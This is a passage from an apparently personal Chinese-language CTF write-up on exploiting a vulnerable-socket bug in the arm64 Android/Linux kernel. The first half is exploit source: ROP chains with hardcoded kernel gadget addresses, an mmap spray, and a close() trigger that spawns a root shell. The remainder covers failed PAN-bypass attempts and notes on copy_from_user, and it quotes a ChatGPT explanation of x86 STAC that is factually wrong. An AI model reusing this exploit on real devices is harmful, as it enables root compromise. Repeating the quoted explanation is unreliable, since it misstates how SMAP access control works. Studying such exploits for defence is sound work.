((unsigned long long *)map_addr_1)[idx_1++] = (unsigned long long)map_addr_2+0x38; // x19
((unsigned long long *)map_addr_1)[idx_1++] = 0x0; // x20
((unsigned long long *)map_addr_1)[idx_1++] = (unsigned long long)map_addr_2; // x29
((unsigned long long *)map_addr_1)[idx_1++] = 0xffffffc0004f7138; //x30
((unsigned long long *)map_addr_1)[idx_1++] = (unsigned long long)map_addr_2; // x19
((unsigned long long *)map_addr_1)[idx_1++] = 0x0; // x20
((unsigned long long *)map_addr_1)[idx_1++] = 0x0; // dirt
((unsigned long long *)map_addr_1)[idx_1++] = 0x0; // x9 will be stored here
((unsigned long long *)map_addr_1)[idx_1++] = (unsigned long long)map_addr_3; // x29
((unsigned long long *)map_addr_1)[idx_1++] = 0xffffffc0000d9384; // x30
((unsigned long long *)map_addr_1)[idx_1++] = 0x0; // x29
((unsigned long long *)map_addr_1)[idx_1++] = 0xffffffc000132cb8; // x30
((unsigned long long *)map_addr_1)[idx_1++] = 0x0;
((unsigned long long *)map_addr_1)[idx_1++] = 0x0;
((unsigned long long *)map_addr_1)[idx_1++] = 0x0; // x29
((unsigned long long *)map_addr_1)[idx_1++] = 0xffffffc000084240; // x30
((unsigned long long *)map_addr_1)[idx_1++] = 0x0;
((unsigned long long *)map_addr_1)[idx_1++] = 0x0;

int idx_2 = 0;
((unsigned long long *)map_addr_2)[idx_2++] = (unsigned long long)map_addr_2; // x0
((unsigned long long *)map_addr_2)[idx_2++] = 0x0; // x0
((unsigned long long *)map_addr_2)[idx_2++] = 0x0; // x0
((unsigned long long *)map_addr_2)[idx_2++] = 0xffffffc0002999ec; // x1 blr x1,(x0 +=x19)
((unsigned long long *)map_addr_2)[idx_2++] = 0x0; // x29
((unsigned long long *)map_addr_2)[idx_2++] = 0x0; // x30
*(unsigned long long *)((char*)map_addr_2+0x1b0) = 0xffffffc00009e8b8; // ldr x8,[x8,0x1b0]
// ((unsigned long long *)map_addr_2)[0x1b0] = 0xffffffc00009e8b8; // ldr x8,[x8,0x1b0]

int idx_3 = 0;
((unsigned long long *)map_addr_3)[idx_3++] = 0xffffffc000084290;
((unsigned long long *)map_addr_3)[idx_3++] = 0x0;
((unsigned long long *)map_addr_3)[idx_3++] = (unsigned long long)map_addr_3; // x0
((unsigned long long *)map_addr_3)[idx_3++] = 0x0; // x1
((unsigned long long *)map_addr_3)[idx_3++] = 0x0;
((unsigned long long *)map_addr_3)[idx_3++] = 0x0;

printf(" [-] call colse(vuln_sock) to trigger a rip hijack\\n");
// close(vuln_sock[vuln_sock_index]);
int target_sock = vuln_sock[vuln_sock_index];
asm volatile(
"LDR X0, %3 \\n\\t"
"LDR X1, =0xFFFFFFC0000C0014 \\n\\t"
"LDR X2, =0x0 \\n\\t"
"LDR X3, =0xFFFFFFC0006EB94C \\n\\t"
"LDR X5, =0xFFFFFFC0000BFAB4 \\n\\t"
"LDR X6, =0x06060606 \\n\\t"
"LDR X7, =0X07070707 \\n\\t"
"LDR X8, =0x39 \\n\\t"
"LDR X9, =0xffffffc00025bc94 \\n\\t"
"LDR X17, =0xffffffc0000876a0 \\n\\t"
"LDR X18, =0x18181818 \\n\\t"
"LDR X20, %1 \\n\\t"
"LDR X21, =0xffffffc000204894 \\n\\t"
"LDR X24, =get_shell \\n\\t"
"LDR X25, =0x0 \\n\\t"
"LDR X26, %2 \\n\\t"
"SVC #0 \\n\\t"
: "=r" (ret)
: "m" (map_addr_1), "m" (stack_addr), "m" (target_sock)
: "x0", "x1", "x2", "x3", "x5", "x8", "x9", "x17", "x20", "x21", "x24", "x25", "x26"
);

}

int main(){
int i,j,k,ret;

ret = maximize_fd_limit();
printf("[+] set rlimlit, now rlim.rlim_cur: %d\\n",ret);
mmap200200();
printf("[+] mmap 0x200200 to avoid crash\\n");

printf("[+] step 1: create vuln socks\\n");
create_vuln_socks();

printf("[+] step 2: mmap spray to overwrite vuln socks\\n");
mmap_spray();

printf("[+] step 3: find the target sk\\n");
ret = find_target_sk(0);
if(ret == 1){
printf("didn't find a usable sock...\\n");
sleep(1);
exit(1);
}

printf("[+] step 4: rop to get root shell\\n");

// get root
unsigned long long add_sp_0x100 = 0xffffffc000118458; // 0xffffffc000118458 : add sp, sp, #0x100 ; ret

*(unsigned long long*)((char*)vuln_page) = add_sp_0x100; // inet_release(): LDR X2, [X2]; BLR X2;
*(unsigned long long*)((char*)vuln_page+0x28) = (unsigned long long)vuln_page; // inet_release(): LDR X2, [X19,#0x28];
*(unsigned long long*)((char*)vuln_page+0x2A0) = 0x0; // ip_mc_drop_socket(): LDR X1, [X0,#0x2A0]; CBZ X1, loc_FFFFFFC000432440

rop_get_shell();

printf("should never be there!\\n");
return 0;
}

ROP打通那一刻真的超级开心!!!虽然说通用性没那么强,但着实锻炼了找 arm64 rop gadget 的能力。

image-20230903213052902

android 11 环境下3636的利用

基本信息

架构:aarch64

linux版本:5.4.40

防护措施:开启KASLR,PAN,PXN,CFI,selinux

这个题卡在内核访问0x200200这个地址会崩溃上,PAN不知道怎么绕。

搜索PAN绕过方法时,仅找到这篇文章:https://blog.siguza.net/PAN/ ,意思是用户态映射一个 --x 权限的页面时,内核直接访问该页面并不会触发PAN。

我在android 11这个环境里试了一下,没成功。。

于是又冒出个很业余的想法,copy_from_user()执行的时候内核必须要访问用户态,是不是说明会短暂关闭PAN?那让某个线程在copy_from_user()期间卡住,其他内核线程是不是就可以访问任意用户态地址,从而绕过PAN了?事实证明linux内核远没有这么简单,无论是X86还是ARM,copy_from_user() 时都没有动过全局的SMEP/PAN开关,而是通过一些 “状态寄存器+硬件功能” 结合的方式将控制粒度细化到线程级别。

以下是对 copy_from_user() 函数的一些理解:

  1. 在开启SMAP的机器上,copy_from_user()是如何将用户态数据拷贝到内核态的?【✔】

    SMAP是硬件的特性,由CR4寄存器控制是否开启该特性。copy_from_user()执行的过程中,不会改变CR4寄存器中SMAP的标记位,而是通过 STAC 让当前代码具备访问用户空间的能力。完成拷贝后,又通过 CLAC 关闭该能力。

    这一信息的来源是stackoverflow上的一篇回答:https://stackoverflow.com/a/61498446

    紧接着,根据 STAC CLAC 搜到了一些中文文章:https://zhuanlan.zhihu.com/p/64536162

    官方邮件:https://lwn.net/Articles/517251/

    wiki中的解释:https://en.wikipedia.org/wiki/Supervisor_Mode_Access_Prevention

    chatgpt对 STAC指令的一些解释:

    1
    2
    3
    4
    5
    6
    7
    在x86架构中,STAC(Supervisor-Trap Access Control)并不是一条独立的指令,而是通过修改 EFLAGS 寄存器中的一个标志位来实现的。具体来说,STAC特性通过修改 EFLAGS 寄存器中的 AC(Alignment Check)标志位来启用或禁用。

    当 AC 标志位被置为 1 时,STAC 特性被启用,表示在内核模式下执行的代码要执行用户空间数据访问。如果在这个模式下尝试访问用户空间数据,将会触发一个异常。这个异常可以被内核捕获和处理,从而增加对用户空间数据的保护。

    需要注意的是,修改 EFLAGS 寄存器中的 AC 标志位是特权级别 0 的操作,即内核模式下才能执行。用户空间代码不能直接访问 EFLAGS 寄存器或修改其中的标志位。

    STAC 特性通常与 SMAP(Supervisor Mode Access Prevention)一起使用,以提供更强大的内存访问控制和安全保护。SMAP用于阻止内核模式下的代码直接访问用户空间的数据,而 STAC 用于在内核模式下执行用户空间的数据访问,并触发异常以进行后续处理。这两个特性结合起来,可以增加对用户空间数据的保护。

    源于:突然有个神奇的想法,以为copy_from_user()执行期间,会关闭SMAP/PAN。那么只要通过userfaultfd或者fuse让copy_from_user()卡住,那么其他内核线程不就可以绕过SMAP/PAN,实现任意用户空间访问了吗?

    答案:事实远没有这么简单,因为copy_from_user()执行期间,不会去动CR4或者CP15寄存器,而是设置flag寄存器。所以完全不会发生我上面说的那种情况。

  2. arm/aarch64架构上的copy_from_user()是如何将用户态数据拷贝到内核态的?【✔】

    PAN,涉及哪些寄存器?flag寄存器又是什么?

    aarch64上每个线程有自己的 thread_info→ttbr0 寄存器。刚陷入内核态时,ttbr0_el1是空的,因为进入内核后不需要访问用户态空间,相当于一个天然的KPTI防护。当遇到copy_from_user()之类的函数需要访问用户态空间时,会将thread_info→ttbr0 的值给 ttbr0_el1,这样就可以访问用户态了。

    那么,疑问来了,ttbr0_el1是全局的,被设置后,其他线程是不是就可以访问该线程的用户空间呢?当然不行,分两种情况。1、对于后来新起的线程,进入内核时,ttbr0_el1会被清零,不会接触到上一个线程的残留数据。2、对于之前已经存在的线程,在线程切换时,这些寄存器都会更新,也不会接触到残留数据。所以,这个拷贝方案是安全的。

    补充:关于arm64 linux下的copy_from_user可以参考这篇文章 - copy_{to,from}_user()的思考

最后,问了主办方这个题有没有解,主办方说目前没有解,做开放讨论。ok,那我这水平也可以放弃跟这道题较劲了。。